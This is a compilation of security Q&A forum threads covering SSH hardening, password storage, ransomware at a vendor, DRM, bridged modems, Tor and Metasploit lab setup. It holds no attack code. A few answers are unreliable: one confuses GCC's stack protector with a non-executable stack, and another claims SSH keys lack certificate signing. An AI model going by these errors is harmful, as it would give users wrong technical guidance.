I am aware that the question appears hilarious and that by the nature of being very very very small structures any looking into the device is rather impossible. Yet for instance in another case of Blue Pill rootkits some people suggested some concept for testing which involved executing code that would by design demand a certain predetermined duration to be executed which can be compared to extern stop-watch measured time source for comparision. So maybe there it has been thought of to have a set of testing applications that have expected results by way of the specifications stated by the hardware (i.e. that the CPU type is ARMv7) and which can be tested. I do not want to rule out any backdoor but find a way to at least reduces risks and gather more Security.
I did not intent to showcase the AllWinner as something I expect a backdoor. But I have been told that the hardware they produce is open source and hence expect i.e. better backdoor testability.

You'd probably have to go around a lot of places to get anything specific, but since you are talking about hardware-based exploits, you're going to want to look for physical bugs. There's a great article I read from spiderlabs about some stuff like this: http://blog.spiderlabs.com/2014/03/detecting-surveillance-state-surveillance-part-1-hardware-impants.html

There are probably a LOT more on the internet, but a lot of looking for them involves searching for unaccounted radio transmissions if I recall.

Edit: As far as testing for specific backdoors only on ANY piece of hardware, that may be impossible.


Does my brokerage/bank use poor password security measures? I'm no expert.  Could someone please tell me if I'm overreacting?

After the Heartbleed news broke, I changed a lot of passwords.  Here's what I discovered when changing the password on my all-in-one bank/brokerage online account.

  Password requirements:
  - Include 6-8 characters and numbers
  - Include at least one number between the first and last characters
  - Contain no symbols (!,%,# etc.)
  - Cannot match or be a subset of your Login ID

Yes, that's 8 characters maximum.  The best my random password generator was able to do is generate a password which takes about 16 hours to crack.

But, I figured, if they salt passwords then it doesn't matter.  Here's their response to my question.

  I consulted with our Technical Services division and found that, while
  our passwords are not salted before storage, they are on a secure,
  encrypted channel.

This is not a mom'n'pop operation, this is an old, large outfit with a lot of industry cred.  (Which doesn't mean a lot with regard to technical competence, I know.)  They provide security tokens on request, but why go to that trouble before something basic as salting passwords?

Before I write back and tell them I no longer consider my assets safe with them, am I missing something or just overreacting?  Thanks for any light shed.

"Salting" makes sense only as part of password hashing. From the response you got ("passwords [...] are on a secure, encrypted channel"), one may infer that:

Passwords are not hashed at all. The bank is able to recover your password at any time.
Some sort of encryption is applied, either for the storage itself (with an unspecified key) or for the transfer from one machine to another within the bank system (probably SSL). Or maybe both.
Whoever answered you does not consider that you can understand technology, or does not understand technology himself, or both.

As for the limitation on password length, it is indeed a problem and a very poor practice, since it prevents you from using passwords with high entropy and yet easy to remember (see this question). There may be technical reasons for that (compatibility with a legacy system -- and there are a lot of legacy systems in banks), but it is equally plausible that the limitation comes from a poorly understood Tradition (see this question).

Now let's take the point of view of the bank. What is the use of your password ? Is it to protect the your assets ? No ! The password is there to protect the bank. Not you. Your password is not for you; it is for them.

The bank, as a whole, wants to make money. Successful attacks make them lose money, because:

they have to refund the user;
they must deal with the loss of reputation.

Passwords can be used to reduce these losses, in several ways:

If the break-in is through guessing the password of a user, then the bank can claim that it is not their fault, but the fault of the user who chose a weak password. This limits the damage to reputation.
Similarly, if they can point the user for being at fault, they may get away with not refunding him.

If the password is strong, then the probability of a breach is lowered. However (and that is an important point), long and complex passwords increase the probability of the user forgetting his password. Such an occurrence implies a phone call to the helpdesk, hence a loss of money. There is a potential for a trade-off here.

What must be remembered is that the bank tries to maximize its own profits and thus uses criteria which do not necessarily match your own assessment of the situation. They may oppose really strong user passwords if such passwords imply higher cost on their part, be it on compatibility layers with legacy systems or increased helpdesk usage. Their best interest does not necessarily match your best interest.

Moreover, password security is poorly implemented in general, because it is not well understood, as is demonstrated by the abundance of myths floating around (e.g. the myth which says that including punctuation signs improves security). That the bank is old does not mean that it is good at handling recent technology.

In any case, most cases of bank account theft are not due to a password too easy to guess, but to a password which was stolen with a key logger. Chances are that the effect of the "password rules" does not even show up statistically, so the bank has no real way to measure how efficient or inefficient that specific security policy is.


How to (further) ensure SSH security? I set up my Linux Ubuntu machine as an SSH server through no-ip.com and it works great.

Recently I discovered the command,

sudo lastb -ad -F -w

which outputs a log of the most recent failed SSH login attempts. What measures can I take -- passive (e.g. better filtering of login attempt by location?) and active (e.g. manual IP blocks), and how? I realize this may be a redundant question here but I'd be grateful for links and specific linux terminal examples. I'm basically an IS neophyte.

Some dudes from China really want to ruin my day, I think, because this is a very small piece of the output (both IP's listed say they're from China on who.is):

root     ssh:notty    Sun Jan 31 23:48:58 2016 - Sun Jan 31 23:48:58 2016  (00:00)     12.145.195.113.adsl-pool.jx.chinaunicom.com
root     ssh:notty    Sun Jan 31 23:48:57 2016 - Sun Jan 31 23:48:57 2016  (00:00)     182.100.67.173
root     ssh:notty    Sun Jan 31 23:48:55 2016 - Sun Jan 31 23:48:55 2016  (00:00)     12.145.195.113.adsl-pool.jx.chinaunicom.com
root     ssh:notty    Sun Jan 31 23:48:55 2016 - Sun Jan 31 23:48:55 2016  (00:00)     182.100.67.173
root     ssh:notty    Sun Jan 31 23:48:52 2016 - Sun Jan 31 23:48:52 2016  (00:00)     182.100.67.173
root     ssh:notty    Sun Jan 31 23:48:52 2016 - Sun Jan 31 23:48:52 2016  (00:00)     12.145.195.113.adsl-pool.jx.chinaunicom.com
root     ssh:notty    Sun Jan 31 23:48:49 2016 - Sun Jan 31 23:48:49 2016  (00:00)     182.100.67.173
root     ssh:notty    Sun Jan 31 23:48:49 2016 - Sun Jan 31 23:48:49 2016  (00:00)     12.145.195.113.adsl-pool.jx.chinaunicom.com
root     ssh:notty    Sun Jan 31 23:48:46 2016 - Sun Jan 31 23:48:46 2016  (00:00)     182.100.67.173
root     ssh:notty    Sun Jan 31 23:48:46 2016 - Sun Jan 31 23:48:46 2016  (00:00)     12.145.195.113.adsl-pool.jx.chinaunicom.com
root     ssh:notty    Sun Jan 31 23:48:43 2016 - Sun Jan 31 23:48:43 2016  (00:00)     12.145.195.113.adsl-pool.jx.chinaunicom.com
root     ssh:notty    Sun Jan 31 23:48:41 2016 - Sun Jan 31 23:48:41 2016  (00:00)     182.100.67.173
root     ssh:notty    Sun Jan 31 23:48:38 2016 - Sun Jan 31 23:48:38 2016  (00:00)     12.145.195.113.adsl-pool.jx.chinaunicom.com
root     ssh:notty    Sun Jan 31 23:48:37 2016 - Sun Jan 31 23:48:37 2016  (00:00)     182.100.67.173
root     ssh:notty    Sun Jan 31 23:48:35 2016 - Sun Jan 31 23:48:35 2016  (00:00)     12.145.195.113.adsl-pool.jx.chinaunicom.com
root     ssh:notty    Sun Jan 31 23:48:34 2016 - Sun Jan 31 23:48:34 2016  (00:00)     182.100.67.173
root     ssh:notty    Sun Jan 31 23:48:32 2016 - Sun Jan 31 23:48:32 2016  (00:00)     12.145.195.113.adsl-pool.jx.chinaunicom.com
root     ssh:notty    Sun Jan 31 23:48:32 2016 - Sun Jan 31 23:48:32 2016  (00:00)     182.100.67.173
root     ssh:notty    Sun Jan 31 23:48:30 2016 - Sun Jan 31 23:48:30 2016  (00:00)     12.145.195.113.adsl-pool.jx.chinaunicom.com

I suspect brute-force attempts to get access to my machine (The attempts are occurring literally every few seconds). Please assist.

Do as many mitigations as you can.

Your goal is to force a wide variety of potential attackers to spend more effort, resources, computer time (and thus electric bill), and most especially "skilled" (rare or scarce, and thus valuable) person-hours. No one protection works against every threat.  Not every threat can be protected against while still remaining on the internet.

However, a large number of threats (script kiddies and low skilled or low resourced attackers) can be defeated almost all the time by having a defense in depth - many layers of good, solid security, each of which should - theoretically - be enough to defeat many threats on its own.  Thus, when your system's iptables rules let someone in by accident, the SSHD certificate authentication keeps them out.  When your SSHD service has a flaw, your VPN prevents anyone from seeing it.  When both your VPN and your SSHD have a flaw at the same time, your firewall rules prevent most of the world's IP addresses from even attempting it, leaving only locals and large botnets to be able to try and exploit the vulnerabilities, which you patch as soon as possible.

Thus, I say again, put in as many mitigations at as many levels as possible.  You cannot know in advance which ones have undiscovered vulnerabilities, and which order those will be exploited in.

Make certain you only allow SSH v2

sshd_config

Protocol 2

Stay patched
Use your iptables to allow ONLY the IP addresses or ranges you actually use
Set up your SSH to allow access ONLY by certificate, not by username/password, per the Ubuntu help site SSH/OpenSSH/Configuring page

sshd_config

PubkeyAuthentication yes
PasswordAuthentication no

If you use an encrypted home directory

AuthorizedKeysFile    /etc/ssh/%u/authorized_keys

If not, the normal setting for home directories can work

AuthorizedKeysFile    %h/.ssh/authorized_keys
Make sure there's not excessive permissions to it.

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
chmod go-w ~

And set up as strong a certificate as you can.  Generating keys is covered at the Ubuntu help site SSH/OpenSSH/Keys page

I'd start with a 4096 bit RSA key or an ed25519 key with a long, strong passphrase.  Be sure to generate it locally, type in a long, strong passphrase when prompted, use -o to ensure the new OpenSSH 6.5 key format, and make sure the server never has anything but the public key.

ssh-keygen -o -t ed25519 -f ~/.ssh/id_ed25519
ssh-keygen -o -b 4096 -t rsa -f ~/.ssh/id_rsa
To check length on an existing key, use ssh-keygen -e -f mykeyfile

If you can, restrict keys in the authorized_keys file to a specific IP address or set of hostnames

from="192.168.1.2" ssh-rsa ABCDE...012 test@test.test
from="*.test.test,!BadPC.test.test" ssh-ed25519
ABCDE...012 test@test.test

If you're on OpenSSH 6.8 or higher, you can restrict authorized keys to certain types as well in sshd_config

PubkeyAcceptedKeyTypes ssh-ed25519*,ssh-rsa*

Use fail2ban to make brute force attempts take more effort (i.e. make them use a botnet instead of only one machine, or make them take a lot of time)

Setting up certificates (keys) is superior if you're asking which one to do first

Reduce your login grace time

If you're using certificates, you have the option to crank it WAY down unless you use very, very slow connections

LoginGraceTime 8

Otherwise, well, how fast do you type?

LoginGraceTime 20

Control your cipher suite choices with information from Mozilla.org Security/Guidelines/OpenSSH

Since it's your server, and only you are getting in, you can select a very, very tight grouping such that only the most modern clients are allowed.  Perhaps
HostKey /etc/ssh/ssh_host_rsa_key

sudo ssh-keygen -o -N '' -b 4096 -t rsa -f /etc/ssh/ssh_host_rsa_key

or
HostKey /etc/ssh/ssh_host_ed25519_key
sudo ssh-keygen -o -N '' -t ed25519 -f /etc/ssh/ssh_host_ed25519_key

obviously match your HostKey filenames exactly!

or both (most preferred first)
remove all dsa keys entirely; they're fixed at a pathetic 1024 bits for SSH

Use ssh -Q directives to determine what your system supports for the cipher suite options
KexAlgorithms curve25519-sha256@libssh.org
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com
MACs hmac-sha2-512-etm@openssh.com
Or whatever specific choices make you feel safest
And keep up with the literature; when there's a flaw in something you've chosen, choose something that doesn't have known flaws at that point in time.

Use your iptables (or firewall) with blocklists from I-blocklist
Use your iptables (or firewall) with geographical or ISP based IP lists; one such source of geographical lists is maxmind.com
Switch to a port in the dynamic (ephemeral) port range of 49152 to 65535 per RFC6335

And only bind to the IP addresses required

Block everything other port on that server via iptables; chances are you're getting hit by a LOT of attacks

Especially harden your MySQL database, if any - I see a LOT of MySQL (and SQL Server) attacks on my IDS, and I've never run either one or had either port open.  Set them to local, non-routable IP's only, etc., long passwords, disable them, etc.
Especially disable any web servers, set them to local, non-routable IP's only, etc.

Use port knocking per the Ubuntu help site or a DigitalOcean article
Rate limit new connection attempts, per this answer to ServerFault question "Hundreds of failed ssh logins"

  iptables -A INPUT -p tcp --dport 22 -m recent --update --seconds 60 --hitcount 5 --name SSH --rsource -j DROP

  iptables -A INPUT -p tcp --dport 22 -m recent --set --name SSH --rsource -j ACCEPT

Consider using chroot per the Debian documentation
"OpenSSH SFTP chroot() with ChrootDirectory"
Ensure rhosts is disabled with the sshd_config option

IgnoreRhosts yes
RhostsRSAAuthentication no
RhostsAuthentication no

Add more restrictions to the pre-authentication unprivileged process

UsePrivilegeSeparation sandbox

If you aren't using fowarding or tunnelling, disable it in sshd_config

X11Forwarding no
AllowTcpForwarding no
GatewayPorts no
PermitTunnel no

Prevent other insecure setup in directories or permissions

StrictModes yes
And then go through your permissions and settings until it works again :)

Disable host based authentication

HostbasedAuthentication no

Note that per This Serverfault answer to "OpenSSH daemon ignores ServerKeyBits directive", the old ServerKeyBits sshd_config directive is no longer applicable, since you don't allow SSH v1 in the first place.
Don't allow root in sshd_config

PermitRootLogin no

Don't allow different users - perhaps service users on some package you install - to have other options

PermitUserEnvironment no

Install a separate, all-up firewall like pfSense or a Ubiquiti Edgerouter Lite between that machine and the outside world.

And then use the built-in VPN IN ADDITION TO your hardened SSH login
Also with certificate based logins, not username/password based logins
If you use OpenVPN

Make sure to use a --tls-auth "ta.key" pre-shared key as well
And choose better ciphers than the default

And use the blocklists mentioned above at this level also

As DeerHunter mentioned, changing ssh and/or iptables and/or other firewall settings without any other way in can result in a lack of ability to SSH in.


What is the industry best practice for when 3rd parties are hit with ransomware? I am interested to know if anyone has experienced this, what was the response and more importantly, is there best practices to handle these situations?

My organization recently had a case where one of our many vendors was unfortunately hit by Ransomware (Ryuk). Some of their users have access to our systems (VPN users).

The reaction was pretty much, cut all connections with the vendor (VPN, Email, SFTP, etc) thus actually causing a business harm to us as well.

Although I understand the response, I did feel it was a little overkill (akin to
"Pull all the Ethernet cables out" after adware was found).

Logically, the detonation of Ransomware would be a final step in a list of "Objective on Target" due to its high visibility by the blue team. If they ran it as soon as they got in, then their only objective is to make money. If it was the final step in a long list of objectives, that included the infiltration of customers networks then they were already in our systems thus making the disconnection of VPN mute.

I feel a better course would be a review of the user profile that is granted to their users to ensure least privilege is enforced and a review of the user activity of those accounts (around 30-50 max)

Emails with attachments can be sent to quarantine for review.

SFTP files can be scanned to ensure they are not infected.

Is complete disconnection a normal response in these type of events?

I'd say it is overkill, since you're going to be exposed to the Internet and external connections and thus be constantly under drive-by attacks or targeted.  However, it is certainly a good idea to consider the vendor 'higher risk'.

Regular security reviews should always be undertaken and the principle of least privilege is definitely something which should always be considered during this.  As a first step, all credentials and keys should be immediately revoked, and should not be re-enabled until an audit has taken place to prove there is no infection or unauthorised access to the vendor.

The vendor having VPN access to your network and the risk that exposes you to could vary massively - it might be access to your internal website through to control of critical infrastructure.  If it's the latter, then you should certainly consider curtailing that, monitor the systems closely, and not allow access again until a full independent audit has taken place.  If it's just read access as a non-privileged user then the risk is minimal, apart from of course information leakage, unless there is serious issues in server infrastructure.

I would not allow any file uploads from the third party again until that audit has taken place - you should already be scanning the uploads though.  I would also take the opportunity to examine what protocols they do have access to; is it just SFTP, or are there shared hosting services like Dropbox involved, and if so, why?

I would also require all e-mails for some time to be passed through and signed off manually by IT administrators before being forwarded to their final destination.

If this was a company involved in any way with my IT infrastructure and network I would immediately be looking for a replacement vendor in the medium-long term.  From a business perspective, you mention there is lost business associated with cutting off this vendor but all the above will also cost money and time to implement.  That figure of course depends on how good your existing policies are - if I'm setting something up there wouldn't be much to change ;) !


How non-executable are implemented? In the "Hacking the art of Exploitation" its said that the basic idea of  stack overflows attacks is that the operating system can't differentiate instructions from data inside the stack ,and the solution to this problem was to implement a "non executable stack".

My question is how is this implemented ??

You could compile with the stack protection flag. https://stackoverflow.com/questions/1629685/when-and-how-to-use-gccs-stack-protection-feature is a similar question that asks how to enable stack protection for executables compiled with GCC.


What is claimed here about a vulnerability in the target of a "really common shell"? in https://twitter.com/nnwakelam/status/1363761612423786496, its tweeted:

fucking yikes.. ran every bitcoin exchange for a really common shell and found....

Uname: Linux cloudimage 4.4.0-166-generic #195-Ubuntu SMP Tue Oct 1 09:36:25 UTC 2019 i686
User: 33 [ www-data ] Group: 33 [ www.data ]
7.0.33-0ubuntu0.16.04.16 Safe Mode: OFF

Some of that might be anonymized...?
what is the vulnerability here? What "really common shell" might he/she be talking about?

They're claiming that they found a webshell installed on a bitcoin exchange site.  So the vulnerability is that someone has already compromised the exchange's server and left the webshell sitting ready to take commands from anybody... and that as a "really common shell", lots of people would know how to find it and use it.
Not enough information to tell which common shell it is, however.


Securing email input from users Consider the following strawman application, which remembers your TODOs.

Application has a destination email "todos@todosaver.com"
Users (already registered through normal means) send emails to the above domain, expecting their TODOs to be saved
The application, upon receiving the message, stores its content.

Later, auser visits todosaver.com, logs in, and retrieves this content.

This worries me because you can spoof the email source address (e.g., Alice sends todos@todosaver.com and email faked as from bob@gmail.com containing malicious content).

In this case, I would imagine that an approach that both:

sanitizes the email content
displays the escaped text only

is probably sufficient, but am worried about this general approach now where (1) an email is verified by sending the user and email and (2) from then on, emails from that user are used for identity in this way. It feels like there should be a better way to do this (for instance, the above approach still lets malicious actors post spam to user's webpages).

What are established approaches to establishing identity through email, and what are their security/usability tradeoffs?

It is unclear what the actual security and usability requirements are, but if you want to prevent spoofing of the sender you need to authenticate the sender somehow.

This could for example be done with PGP or S/MIME signed mails, although most users are not able to send such mails. It could also be done by fingerprinting the mail client used for sending and/or the transport path and require some other form of authentication when this fingerprint changes (like a reply-mail the user has to acknowledge or a link which need to be visited). One could also require some one time token (TAN) to be send together with each mail and offer the user to load more such tokens once authenticated on the web site.

And one could probably imagine various other methods with different trade offs between security and usability. But again, the actual security and usability requirements here are not clear.


Web browser security comparison analysis Secunia publishes an annual vulnerability review that covers web browsers and surprisingly Google Chrome leads the number of known vulnerabilities in comparison to the likes of Microsoft Internet Explorer and Mozilla Firefox.

Akin to AV Comparatives, are similar detailed reports available for all web browsers including Opera and Vivaldi?

The purpose is to keep track of the moving trends in browser security from an organization perspective.

The trouble is that unfortunately there really isn't really any straightforward, objective, useful numeric measure of how "secure" one browser is compared to another. Or, really, how secure one piece of software is compared to another more generally.

Want to compare gross vulnerabilities reported & fixed during some period of time? Well, as the commenters pointed out there are several reasons you actually might not want to use total vulnerabilities as a representative measure of the practical security of a browser. Which means that comparing that number for one browser to that number for another is even more problematic. (For example, comparing Chrome's number of reported/fixed vulnerabilities to any other browser's.)

Well then, what about the number of vulnerabilities successfully exploited in the wild over some length of time.  Well, that's perhaps a less-bad measure than total vulnerabilities in some ways, but it still has substantial problems that make it quite flawed as a basis for comparison. Browser A may have more exploited vulnerabilities than Browser B, but what if that's because Browser A garnered more attention from the security researchers, criminals, and/or nation-states who created exploits for vulnerabilities than Browser B did?  Which, in turn, could be due to any number of reasons not related a browser's "inherent" security or lack thereof. (A real world example: it's likely true that one reason IE has historically drawn more exploitation attention than Firefox is because it is more heavily used within corporate and governmental sectors, which , of course, is where the greatest number of systems that are most attractive for attackers generally are.)

Or you could look at, say, the number of in-the-wild zero-day exploits (ie. vulnerabilities that became known & exploited before a vendor could issue a patch) that bedeviled a browser over a certain timeframe. But that measure has issues similar to those just discussed.  And do you count exploits that allowed breach of a browser's site-rendering element but don't allow escape from that browser's sandbox?

Or you could look at...

But I think you're getting my point. There really isn't any one number that really captures a browser's susceptibility to compromise well or allows good comparisons on that basis.  Which is essentially what an effort to compare announced vulnerabilities is trying to get at.

So, does that mean we simply can't compare security among browsers at all?  No, I certainly wouldn't go that far. There are points of comparison that, if more abstract than numerical measures, are valuable. For instance, IMHO the architectural & defense-in-depth attributes of some browsers give them some significant advantages in security over others. (Though we mustn't forget that how a browser is configured and used is perhaps an even more important factor than the software's security architecture.). But straight numbers vs. numbers comparisons can be quite misleading.


Why can't we protect the password file so that only the system can read it? Can't we design an OS in such a way that it doesn't allow anyone (not even root) to read the passwords file? Then there will be no need for encrypting the passwords. Why can't we hard-code a computer to hide it's password file?
I was reading "Cuckoo's egg" by Clifford Stoll. On page 32, I didn't understand why encrypting passwords is necessary - why can't we program the computer so that it hides the password file from all users?
Here is the excerpt:

When your computer has fifty or a hundred users, you might just store
each person's password in a file. When the user tries to log on, ask
for her password and compare that to what's in your file. In a
friendly environment, no problem. But how do you keep someone from
sneaking a peek at that password file? Well, protect the password file
so that only the system can read it. Even if you protect the password
file, every now and then all the files will be copied onto backup
tapes. Even a novice programmer could read those tapes on another
computer and list the contents of the password file. File protection
alone isn't enough. In 1975, Bob Morris and Fred Grampp of Bell
Laboratories developed a way to protect passwords, even when files
weren't secure. They would rely on encryption, rather than file
protection.

Preventing root from accessing the password file isn't really practical. By definition, the root user has access to and can modify everything on the system. Trying to limit this access just won't work.
As others have already said, there are several circumstances when the root user would need to access the password file for legitimate reasons. For example they might want to backup the entire system or modify the file for system administration purposes.
Apart from that, it would be next to impossible to implement these restrictions effectively. For example, if an attacker with root privileges really wants the password file, what's to prevent him from simply modifying/patching the system to remove your restrictions? Then again, the login/authentication program still needs to access the file so you have to provide it with permissions to read the password file. The root user can simply su to whatever user the login/authentication program runs under and then access the file. And even if you somehow find a way around this, how do you deter someone with unrestricted physical access to the system?
That said, current systems do try to ensure that only those who need access are given access. Password encryption, or rather hashing, ensures that even if a malicious or unauthorized entity does get their hands on the password file, they don't get the passwords. True, dictionary or brute-force attacks may be used to recover some passwords, but only the ones that are weak. Sufficiently complex passwords cannot be recovered in any reasonable amount of time


Is it possible to attack bridged DSL modem? Is it possible to attack bridged DSL modem? Assuming no existing backdoors but possibly insecure and unpatched firmware. Assuming no access to a secure internal bridged-to network.

My understanding is that in such configuration DSL modem is unreachable from the WAN, so any exploitation would require access to LAN and/or physical access. Still, I would like to hear what community has to say.

Is it possible to attack bridged DSL modem?

Yes, it's possible to attack the modem if we're talking about a software bridge.

In that case, the software which copies packets from the incoming network interface buffer to the outgoing buffer of the other network interface can have flaws. For example, it might be susceptible to buffer overflows. If so, it could be possible for specially crafted packets to exploit that buffer overflow, which might lead to remote code execution on the modem. There might also be bugs in the network interface driver that might allow for remote code execution.

I wouldn't think it was very likely, however, especially if your modem is running on a well known software brand. The networking stack is well understood and time-tested; I'd doubt there are very many exploitable bugs left in the core code of, say, the linux networking stack.

  My understanding is that in such configuration DSL modem is unreachable from the WAN

Bridged mode means that your modem logically doesn't act like a router, but rather like a switch. It connects two physically separate networks together by transparently forwarding traffic from one segment to the other. This means that in bridged mode the DSL modem doesn't need IP addresses, just like a switch doesn't need IP addresses, and if it doesn't have an IP address, then attacks at or above the IP layer become pretty much impossible. But "unreachable" is misleading:

At the very least, traffic still flows through it, opening up the device to the attacks described above.
If you're using a serial console or a special, designated port for modem administration, the modem might really be "invisible" to every layer above the physical link layer. But assuming that you're using a normal web interface to configure it, chances are your modem will still have an IP address assigned (which is possible even in bridge scenarios) - otherwise your webbrowser couldn't connect to the admin interface. And depending on how well the device firewall is configured, the admin interface may even be accessible from the WAN in bridged mode, since logically there is only one network.

Also note that while you do add a layer of extra protection to the modem, you've opened up your whole internal LAN to the WAN. Every machine on your LAN is now visible on the WAN.


Can Tor guarantee anonymity when downloading torrents? I know it is generally a bad idea to download torrents using Tor, as Tor is not designed to support such large data transfers and the bandwidth is limited.

However, I wanted to know if, when Tor is set as a proxy in a torrent client, can the peers I'm sharing a torrent with see my IP address? If so, how is it possible?

Using Tor for torrenting is the way many people got caught.

  So what's the fix? There are two answers here.

  The first answer is "don't run Bittorrent over Tor". We've been saying for years not to run Bittorrent over Tor, because the Tor network can't handle the load

  The second answer is that if you want your Bittorrent client to actually provide privacy when using a proxy, you need to get the application and protocol developers to fix their applications and protocols. Tor can't keep you safe if your applications leak your identity.

  The third attack from their paper is where things get interesting. For
  efficiency, Tor puts multiple application streams over each circuit.

  [...]

  What's the fix? The same two fixes as before: don't run
  Bittorrent over Tor, and/or get your Bittorrent developers to fix
  their applications. But as Tor developers, this attack opens up an
  opportunity for a third fix. Is there a way that we as Tor can reduce
  the damage that users can do to themselves when they use insecure
  applications over Tor? We can't solve the fact that you'll shoot
  yourself in the foot if you use Bittorrent over Tor, but maybe we can
  still save the rest of the leg.

  One approach to addressing this
  problem in Tor's design is to make each user application use a
  separate circuit.

  Another answer is to separate streams by destination port. Then all
  the streams that go to port 80 are on one circuit, and a stream for a
  different destination port goes on another circuit.

  We've had that
  idea lurking in the background for a long time now, but it's actually
  because of Bittorrent that we haven't implemented it: if a BT client
  asks us to make 50 streams to 50 different destination ports, I don't
  want the Tor client to try to make 50 different circuits. That puts
  too much load on the network.

  I guess we could special-case it by
  separating "80" and "not 80", but I'm not sure how effective that
  would be in practice, first since many other ports (IM, SSH, etc)
  would want to be special-cased, and second since firewalls are
  pressuring more and more of the Internet to go over port 80 these
  days.

https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea


What is the security/copy protection model for streaming media services? I realize this is a broad question, but maybe there is a simple answer

From my understanding, Streaming media services such as Amazon instant video, Netflix, and others do all decryption client side. What I do not understand is that if this is true, and the videos ever exist in a decrypted state, what prevents users from harvesting them en masse?

I am assuming the exact method of decryption somehow makes it less than trivial to just grab image / audio frames but I am wrong to assume that this is possible, or even easy?

I've always been curious how streaming streaming media providers circumvent this issue. I know some streaming providers (free ones like youtube) simply acknowledge that it is possible to save the videos, and don't do much to prevent it, but I would imagine that it is core to the business model of companies like netflix to make it neigh impossible to save a movie once you've rented it.

Answer

Just to make that this question doesn't seem too broad, I want to clarify that a direct answer to this question would show me how streaming media providers prevent users from trivially downloading their videos (via obfuscation / cpu features perhaps?)

If you can see or hear it, then you can record it. Even without messing with the obfuscation/encryption, it is trivial to copy the content, just start a screen recording program and enjoy.

I doubt cryptography is ever involved, it's mostly a matter of obfuscation; if the attacker can break the obfuscation and reverse engineer their player applet, then they will do the same to get the key if crypto is involved, so why bother ?

Content providers used to use some garbage called Flash to create an applet capable of talking to their server over RTMP and get the video stream from there. Note that the video is only streamed, never downloaded to disk, so the only place the decrypted/deobfuscated frames ever exist is in the computer's memory for a short period of time; that limits the "exposure" to a level they deem acceptable (or rather, a level Hollywood is forced to accept because it's either that or not selling their movies on the Internet at all).

Now content providers are aware of the decline of Flash's popularity and are starting to use HTML5 Encrypted Media Extensions, a plugin interface allowing a browser to communicate with the site's proprietary and obfuscated software that will be decrypting/deobfuscating the video frames before sending them back to the browser's media player which would play them; essentially the same thing as Flash except the proprietary applet now only does decryption instead of being the actual video player.

In the end, there is no way to prevent saving the content, so providers are trying to limit the damage :

first off, it's quite hard and time consuming (but never impossible) to reverse engineer the Flash or EME applet and most people won't bother, they will either accept the restrictions or go somewhere else (unfortunately what they don't understand is that "somewhere else" also means "some pirate site" and they're loosing even more money by not letting honest users save the content they bought)
the content isn't downloaded in advance but streamed in real time, this allows some control over how much content can potentially be saved, as their server won't accept to stream more than one file (or a few if they're lenient) simultaneously per account, which means the pirates wouldn't be too efficient at ripping content from the site and will look for other sources, ie. physical DVDs or Blu-Ray discs which are rippable more efficiently and as a bonus offer more quality than streaming, so web-rips (as they call them) are often done only for content not yet available on physical media, as a way for pirate teams to be more popular by leaking the content before it's physically released


Obtaining the IP address of a virtual machine to use Metasploit I am beginning to learn Metasploit and, to play safe, am practicing it out on a virtual machine.

The target machine, which is a virtual machine, is under NATing. How do I access it/ connect to it- from within the same network? outside the network?

From where do I get the IP address of that virtual machine?

I'd actually disagree with most here and advise you to go to host only mode. This means go to File > Preferences > Network and click on the add adapter button. This creates a virtual network interface on your computer.

At that point you can go to your vulnerable VM > settings > network > Host-only adapter. This means only your main PC which is running the VM or other virtual machines can interact with the VM. You still get separate IP addresses etc, but you should really never have deliberately vulnerable machines on your live network. It will be perfectly suitable for pen testing, and is infact the recommended setting for deliberately vulnerable VM's such as metasploitable.

Find your IP address the way you would for that style of machine, typically typing ipconfig in cmd for windows or ifconfig in terminal for a linux based system.

This protects you accidentally exposing it externally.

Edit: Dammit I didn't see this had been raised from ages ago for some reason.


What app owners need to do while they resolve XSS to minimize risk? I have submitted a pentest report in which I have reported XSS at a few locations in an application. The management agreed to the risk. They have planned to remediate the issue in the next thirty days. However, they asked what needs to be done from their side in those thirty days so as to minimize the risk while they resolve the issue. Please note that the application is a highly sensitive asset available over office network only.

This is primarily a business decision. There are two extremes:

Accept the risk - just carry on and hope no hackers exploit this.
Turn off the application - no chance to it being hacked if it's turned off.

In practice, the risk of XSS on an internal network is pretty low. If external attackers are on the network, they can probably do worse things. Malicious insiders tend to abuse legitimate access rather than engage in hacking. On the other hand, turning off the application would probably have a major business impact. So most businesses would accept this risk.

There are technical measures that can mitigate the risk. For example:

Install a WAF - although installing and tuning this will probably take more than 30 days.
Change user behaviour - Users need close all other browser Windows (and tabs) while using the internal application, and logout when they are finished. This makes XSS in the internal app non-exploitable - although it's a pain for users.

Ultimately though, your business agreeing to fix the issues within 30 days is a pretty good response. A lot of businesses take security flaws in internal apps far less seriously.


Threat Modelling Application Decomposition I am doing a piece of work on a imaginary device which allows the user to lock/unlock their vehicle and access a wireless hotspot in their car using an application on their smartphone via bluetooth.

I am doing the threat modelling for this and am currently stuck on the application decomposition.

It is only meant to be a simple representation, can anyone see if this would be roughly correct or whether there would be a better way to represent it?

Your drawing above is kind of a mix of activities, states, and actors, but not of hardware systems or network interconnections.

I'd start by modeling the system, not the threats.  Perhaps consider creating a UML Communication Diagram showing each of the devices.  Then you can start filling in details how data flows from system to system, and how each is initially intended to be protected in whatever ways might make sense (TLS for traffic going over the internet, that kind of thing.)

After you've described how the system is intended to be built, then redraw your model in the Threat Modeling tool.  You can then wrap the car in a trust boundary, the bluetooth smartphone device in a different boundary, etc.  Your logical borders and your physical borders should start coming together much better then.

The Threat Modeling tool is intended to help analyze a system for security vulnerabilities, it is not really intended to help you initially create the design for a secure system.


signing private openssl key for use with openssh This is related to Converting keys between openssl and openssh .

I have private keys generated by openssl that I want to use with SSH for connection authentication.  I have no issue using ssh-keygen to generate a public key.  However, I'm now trying to use CA certificate signing as I'm dealing with over 100 machines that need to connect via SSH.

If I try to do ssh-keygen -s ca.key -I dev1 dev1.key on my openssl generated key I get a message saying 'do_ca_sign: unable to open "dev1.key"'.  I noticed that my openssl private keys are all 1675 bytes and the private keys generated by ssh-keygen are all 1679 bytes.  Do I need to do some sort of conversion on the openssl keys before being able to sign them with the ca.key?  Strangely ssh-keygen has no problem reading the same private key to generate a public key so I'm lost as to what to do.

TL/DR: ssh-keygen only signs public keys.  However, it tries to recover from being passed a private key by looking for an appropriately named public key automatically and gives no warning messages.

Unfortunately, SSH keys do not implement trusted third party as certificates do. SSH keys are quite basic, they are just "keys" as the name imply, without all the bell and whistles you may find in certificates (certificates being actually a key wrapped in a container adding supplementary information, and the CA signature is part of this container).

